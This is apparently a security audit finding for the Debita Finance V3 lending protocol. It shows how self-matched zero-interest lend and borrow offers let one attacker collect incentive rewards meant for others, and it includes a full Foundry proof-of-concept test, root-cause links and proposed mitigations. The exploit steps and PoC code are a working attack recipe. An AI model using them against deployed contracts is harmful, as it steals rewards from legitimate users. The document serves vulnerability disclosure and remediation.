Smooth Sapphire Barbel

Medium

# Incentive Exploit via Matching Lend and Borrow Offers

### Summary


An attacker can steal incentives by creating matching lend and borrow offers within a specific epoch, bundling all operations into a single transaction using a smart contract.

##### Attack Flow

1. The `DebitaIncentives::incentivizePair` function is called, passing a set of incentivized principals and their associated epochs.
2. The attacker waits for the targeted epoch and takes a flash loan.
3. The attacker creates both a lend and a borrow offer for the incentivized principal, ensuring the offers match exactly (with 0% interest, 0 APR, and 0 minimum duration).
4. In the same transaction, the attacker invokes `DebitaV3Aggregator::matchOffersV3`, submitting the matching lend and borrow offers. This triggers the `DebitaIncentives::updateFunds` function, which registers both the lender and borrower for token incentives.
5. The attacker first calls `DebitaV3Loan::payDebt` to cancel the Debita loan and finalize the self-matching offer.
6. Afterward, the attacker cancels the flash loan.
7. In the following epoch, the attacker calls `DebitaIncentives::claimIncentives` to withdraw the rewards.

##### Trust Implications

The attack is possible in part because the `DebitaV3Aggregator::matchOffersV3` function can be called by anyone, with no access control or whitelist in place to prevent malicious activity. As stated in the README:

> A bot will be implemented to continuously call `DebitaV3Aggregator::matchOffersV3()`, listening for new borrow and lend orders. Initially, we will provide this service, but anyone could create their own bot or manually accept the orders.

By exploiting this, an attacker can bundle the entire exploit—flash loan, offer creation, and loan cancellation—into a single transaction. This allows the attacker to circumvent normal transaction sequencing and avoid detection in multiple steps.

##### Final Remarks

By taking a flash loan and exploiting the self-matching offer mechanism, the attacker can claim the majority of the rewards, effectively diluting the incentives intended for legitimate participants. This attack undermines the integrity of the incentive system, particularly for those who are rightfully earning rewards.

### Root Cause


1. In the function [`DebitaLendOfferFactory::createLendOrder`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L124-L203), lend offers can be created with a `minDuration` parameter set to zero, allowing the offer to be accepted and paid out in the same transaction.
2. Both lend and borrow offers can be matched within the same transaction or block in which they are created.
3. The function [`DebitaV3Aggregator::matchOffersV3`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L283) lacks an access modifier (by design), which allows both offers to be matched and cancelled within the same transaction.

### Internal pre-conditions

1. The `DebitaIncentives::incentivizePair` function is called, passing a set of incentivized principals and their associated epochs.

### External pre-conditions

_No response_

### Attack Path

1. The attacker waits for the targeted epoch and takes a flash loan.
2. The attacker creates both a lend and a borrow offer for the incentivized principal, ensuring the offers match exactly (with 0% interest, 0 APR, and 0 minimum duration).
3. In the same transaction, the attacker invokes `DebitaV3Aggregator::matchOffersV3`, submitting the matching lend and borrow offers. This triggers the `DebitaIncentives::updateFunds` function, which registers both the lender and borrower for token incentives.
4. The attacker first calls `DebitaV3Loan::payDebt` to cancel the Debita loan and finalize the self-matching offer.
5. Afterward, the attacker cancels the flash loan.
6. In the following epoch, the attacker calls `DebitaIncentives::claimIncentives` to withdraw the rewards.


### Impact

- Dilution of incentives intended for legitimate participants.

### PoC

To test the exploit, add the following test to `/Debita-V3-Contracts/test/fork/Incentives/MultipleLoansDuringIncentives.t.sol` and run it with the following command:

```bash
forge test --fork-url https://mainnet.base.org --fork-block-number 21151256 --no-match-path '**Fantom**' --match-test testStealBribes -vv
```

In this test, we don't use a contract to bundle all transactions, but the core idea remains the same. The test performs the following steps:

1. Incentives are added for epoch number 2.
2. The attacker creates matching lend and borrow offers, which can be executed immediately (with `minDuration = 0`).
3. The `DebitaV3Aggregator::matchOffersV3` function is invoked, executing the loan and distributing bribe rewards to the attacker.
4. The loan is repaid using the `payDebt` function.
5. Finally, the attacker waits for the next epoch to collect the rewards.

```solidity
    function testStealBribes() public returns (address) {
        // uint public epochDuration = 14 days; // duration of an epoch

        //===============================================================//
        // Incentivize AERO-USDC pair with AERO rewards for the 2nd epoch
        //===============================================================//
        assert(incentivesContract.currentEpoch() == 1);

        incentivize(AERO, USDC, AERO, true, 1e18, 2); // principle, collateral, incentive token

        //==============================================================//
        // Fast forward to the 2nd epoch and create matching borrow and
        // lend offers that can be cancelled in the same transaction
        //==============================================================//
        vm.warp(block.timestamp + 14 days); // jumpt to 2nd epoch

        assert(incentivesContract.currentEpoch() == 2);

        address principle = AERO;
        address collateral = USDC;

        address attacker = address(0x04);

        deal(principle, attacker, 1000e18, false);
        deal(collateral, attacker, 1000e18, false);

        //======================================//
        // Create a borrow offer with zero interest rate
        //======================================//
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        // set the values for the loan
        ltvs[0] = 10_000; // 100%
        ratio[0] = 1e7;
        acceptedPrinciples[0] = principle;
        acceptedCollaterals[0] = collateral;
        oraclesActivated[0] = false;

        vm.startPrank(attacker);

        IERC20(collateral).approve(address(DBOFactoryContract), 100e18);

        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            0, // interest rate
            864000,
            acceptedPrinciples,
            collateral,
            false,
            0,
            oraclesPrinciples,
            ratio,
            DebitaChainlinkOracle,
            100e18
        );

        vm.stopPrank();

        //=========================================================//
        // Create a lend offer with zero apr and zero min duration
        //=========================================================//
        vm.startPrank(attacker);

        IERC20(principle).approve(address(DLOFactoryContract), 100e18);

        ltvsLenders[0] = 10_000;
        ratioLenders[0] = 1e7;
        oraclesActivatedLenders[0] = false;

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivatedLenders,
            false,
            ltvsLenders,
            0, // apr
            8640000,
            0, // minDuration
            acceptedCollaterals,
            principle,
            oraclesCollateral,
            ratioLenders,
            DebitaChainlinkOracle,
            100e18
        );
        vm.stopPrank();

        //======================================================//
        // Match the offers to create a loan and receive bribes
        //======================================================//

        vm.startPrank(attacker);

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);

        lendOrders[0] = lendOrderAddress;
        lendAmountPerOrder[0] = 100e18;
        porcentageOfRatioPerLendOrder[0] = 10_000;
        principles[0] = principle;
        indexPrinciple_LendOrder[0] = 0;

        // match
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            borrowOrderAddress,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        vm.stopPrank();

        DebitaV3Loan debitaV3Loan = DebitaV3Loan(loan);

        //===========================//
        // Attacker pays back the loan
        //===========================//

        vm.startPrank(attacker);

        // Pay interest
        // deal(principle, attacker, 1000e18, false);
        IERC20(principle).approve(address(debitaV3Loan), type(uint256).max);

        // Cancel loan
        uint[] memory loanIndexes = allDynamicData.getDynamicUintArray(1);
        loanIndexes[0] = 0; // index of accepted offer
        debitaV3Loan.payDebt(loanIndexes);

        vm.stopPrank();

        //=============================================//
        // Jump to the next epoch and claim the bribes
        //=============================================//

        vm.warp(block.timestamp + 15 days);

        assert(incentivesContract.currentEpoch() == 3);

        {
          uint balanceBefore = IERC20(AERO).balanceOf(attacker);

          address[] memory principlesIncentive = allDynamicData.getDynamicAddressArray(1);
          address[] memory tokenUsedIncentive = allDynamicData
              .getDynamicAddressArray(1);
          address[][] memory tokenIncentives = new address[][](
              tokenUsedIncentive.length
          );

          principlesIncentive[0] = principle;
          tokenUsedIncentive[0] = AERO;
          tokenIncentives[0] = tokenUsedIncentive;

          vm.startPrank(attacker);

          incentivesContract.claimIncentives(principlesIncentive, tokenIncentives, 2);

          uint balanceAfter = IERC20(AERO).balanceOf(attacker);

          vm.stopPrank();

          console.log("Balance attacker before", balanceBefore);
          console.log("Balance attacker after", balanceAfter);

          assert(balanceAfter > balanceBefore);
        }
    }
```

### Mitigation

Multiple mitigations could be considered

- Add access control to the `matchOffersV3` to restrict access to trusted accounts only
- Require lend offers to have a positive `minDuration`, this would prevent offers to be created and payed in the same transaction.
- Prevent offers to be matched in the same block or transaction they are created.